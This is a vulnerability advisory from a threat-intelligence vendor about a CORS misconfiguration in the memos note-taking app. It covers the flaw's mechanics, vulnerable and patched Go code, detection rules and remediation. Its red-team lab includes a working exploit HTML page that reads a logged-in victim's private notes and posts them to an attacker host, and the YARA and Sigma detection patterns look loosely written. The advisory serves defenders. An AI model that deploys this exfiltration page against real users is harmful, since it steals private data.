CVE-2024-41659
Executive Summary
CVE-2024-41659 is a critical Cross-Origin Resource Sharing (CORS) misconfiguration vulnerability affecting memos, a privacy-first, lightweight note-taking service, in versions 0.20.1 and earlier. The vulnerability allows an arbitrary origin to be reflected in the Access-Control-Allow-Origin header, with Access-Control-Allow-Credentials set to true. This enables a malicious website to perform cross-origin requests on behalf of an authenticated user, potentially leading to unauthorized access to private notes, data exfiltration, or privilege escalation. The vulnerability has a CVSS score of 8.1 (High) and is fixed in version 0.21.0. No public exploit code or Nuclei templates are available at this time, but the attack vector is straightforward to implement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Memos is a self-hosted Go application distributed via Docker images and GitHub releases. There is no NPM, PyPI, Go module, or Ruby gem involved. The vulnerability is in the application’s HTTP handler configuration, not in a third-party package. However, users should verify the integrity of their memos Docker images or binaries by checking checksums from the official GitHub releases page.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- Base Score: 8.1 (High)
- Attack Vector (AV): Network – The attack is performed over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need prior authentication.
- User Interaction (UI): Required – The victim must visit a malicious website while authenticated to memos.
- Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): High – Full read access to private notes and user data.
- Integrity (I): High – Ability to modify notes, settings, or perform actions as the victim.
- Availability (A): None – No direct impact on service availability.
Threat Level: High. The vulnerability is easy to exploit with minimal user interaction and can lead to complete compromise of the victim’s memos account.
Deep Dive & Mechanics
The vulnerability stems from improper CORS configuration in the memos HTTP server. When a cross-origin request is made, the server reflects the Origin header from the request into the Access-Control-Allow-Origin response header. Additionally, the server sets Access-Control-Allow-Credentials: true. This combination violates the CORS specification, which requires that when credentials are allowed, the Access-Control-Allow-Origin must not be a wildcard or arbitrary origin—it must be a specific, trusted origin.
Attack Flow:
- The victim is authenticated to their memos instance (e.g.,
https://memos.example.com). - The attacker lures the victim to a malicious website (e.g.,
https://evil.com). - The malicious website uses JavaScript to make a cross-origin request to the memos API (e.g.,
https://memos.example.com/api/v1/notes). - The browser sends the request with the
Origin: https://evil.comheader. - The memos server responds with
Access-Control-Allow-Origin: https://evil.comandAccess-Control-Allow-Credentials: true. - The browser, seeing the origin is allowed and credentials are permitted, includes the victim’s cookies (session token) in the request.
- The attacker’s JavaScript reads the response, exfiltrating private notes or performing actions on behalf of the victim.
Root Cause: The memos server likely uses a CORS middleware that dynamically sets the Access-Control-Allow-Origin header to the value of the Origin request header without validating it against a whitelist.
Vulnerable vs. Patched Code
Vulnerable Code (memos <= 0.20.1):
The CORS configuration in the HTTP handler (likely in server/router.go or similar) reflects the origin without validation.
// Vulnerable CORS middleware
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if origin != "" {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
// ... handle preflight
next.ServeHTTP(w, r)
})
}
Patched Code (memos >= 0.21.0):
The fix introduces a whitelist of allowed origins. The server checks the request’s Origin against the configured allowed origins (e.g., the server’s own origin or a list from environment variables).
// Patched CORS middleware
var allowedOrigins = []string{"https://memos.example.com"} // Configurable
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if origin != "" {
for _, allowed := range allowedOrigins {
if origin == allowed {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
break
}
}
}
// ... handle preflight
next.ServeHTTP(w, r)
})
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A running memos instance (v0.20.1 or earlier) with at least one authenticated user.
- A controlled malicious website (e.g., using a simple HTTP server or a platform like webhook.site).
Exploit Steps:
- Set up a malicious HTML page that makes a cross-origin request to the memos API.
- Host the page on a domain different from the memos instance.
- Lure the victim to visit the page while they are logged into memos.
Example Malicious HTML (save as exploit.html):
<!DOCTYPE html>
<html>
<head><title>Exploit</title></head>
<body>
<script>
// Replace with the target memos URL
const target = 'https://memos.example.com';
// Fetch private notes
fetch(target + '/api/v1/notes', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Exfiltrate data to attacker-controlled server
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(data),
headers: {'Content-Type': 'application/json'}
});
})
.catch(err => console.error(err));
</script>
</body>
</html>
To test locally:
- Run a memos instance with Docker:
docker run -d -p 8080:8080 --name memos neosmemo/memos:0.20.1 - Create a user and log in.
- Serve the exploit HTML on a different port (e.g.,
python3 -m http.server 9999). - Access
http://localhost:9999/exploit.htmlwhile logged into memos onhttp://localhost:8080.
Blue Team (Defense & Detection)
Detection:
- Monitor HTTP logs for requests with
Originheaders that do not match the expected domain. - Look for
Access-Control-Allow-Originresponse headers containing unexpected origins. - Alert on cross-origin requests to sensitive API endpoints (e.g.,
/api/v1/notes,/api/v1/users).
Prevention:
- Immediately upgrade to memos v0.21.0 or later.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to enforce strict CORS policies:
# Nginx reverse proxy to enforce CORS
server {
listen 443 ssl;
server_name memos.example.com;
location / {
proxy_pass http://localhost:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
# Override CORS headers from backend
add_header Access-Control-Allow-Origin "https://memos.example.com" always;
add_header Access-Control-Allow-Credentials "true" always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
# Block preflight requests with unexpected origins
if ($http_origin !~* "^https://memos\.example\.com$") {
add_header Access-Control-Allow-Origin "" always;
return 403;
}
}
}
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
Originheaders containing unexpected domains (e.g.,evil.com). - HTTP responses with
Access-Control-Allow-Originset to a value different from the server’s own origin. - Outbound connections from the victim’s browser to attacker-controlled servers containing JSON data from memos API responses.
- HTTP requests with
Log IOCs:
- Web server logs showing
OPTIONSrequests (preflight) from unusual origins. - Application logs showing API calls with
Originheaders not matching the server’s domain.
- Web server logs showing
File IOCs:
- No specific file-based IOCs; the attack is purely network-based.
Detection Engineering
YARA Rule
rule CVE_2024_41659_CORS_Misconfig {
meta:
description = "Detects CORS misconfiguration in memos HTTP responses"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-41659"
strings:
$cors_origin = /Access-Control-Allow-Origin:\s*(https?:\/\/[^h]|http:\/\/[^l]|https:\/\/[^m])/ nocase
$cors_creds = "Access-Control-Allow-Credentials: true" nocase
condition:
$cors_creds and $cors_origin
}
Sigma Rule
title: CORS Misconfiguration in memos
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP responses with CORS misconfiguration allowing arbitrary origins with credentials
author: Valters IT
date: 2025/04/10
tags:
- attack.t1190
- cve.2024.41659
logsource:
category: webserver
product: generic
detection:
selection:
response_header|contains:
- 'Access-Control-Allow-Origin: *'
- 'Access-Control-Allow-Credentials: true'
condition: selection
falsepositives:
- Legitimate CORS configurations with specific origins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-41659 CORS Misconfiguration in memos"; flow:to_server,established; content:"Origin"; http_header; pcre:"/Origin:\s*(https?:\/\/[^h]|http:\/\/[^l]|https:\/\/[^m])/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update memos to version 0.21.0 or later. This is the only complete fix.
- Workaround: If upgrade is not possible, deploy a reverse proxy (Nginx, Apache, or HAProxy) to enforce a strict CORS whitelist as shown in the Blue Team section.
- Session Invalidation: After applying the fix, force all users to re-authenticate to invalidate any potentially compromised sessions.
Long-Term Measures:
- Implement a Content Security Policy (CSP) to restrict which origins can load resources.
- Regularly audit CORS configurations in all web applications.
- Use security headers like
X-Frame-Options,X-Content-Type-Options, andReferrer-Policy. - Monitor for similar CORS misconfigurations in other self-hosted applications.
Verification:
- After patching, test the CORS configuration using a tool like
curl:
The response should NOT includecurl -H "Origin: https://evil.com" -I https://memos.example.com/api/v1/notesAccess-Control-Allow-Origin: https://evil.com.
Valters IT
DevSecOps & Cyber Threat Intelligence